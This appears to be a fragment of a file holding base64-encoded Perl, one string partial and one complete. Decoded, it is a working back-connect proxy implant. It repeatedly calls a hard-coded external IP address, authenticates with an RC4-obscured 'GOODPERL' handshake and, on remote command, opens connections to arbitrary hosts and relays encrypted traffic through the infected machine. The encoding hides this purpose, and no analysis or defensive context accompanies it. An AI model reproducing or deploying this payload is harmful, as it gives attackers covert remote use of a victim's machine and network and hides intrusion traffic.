BcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzYnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x 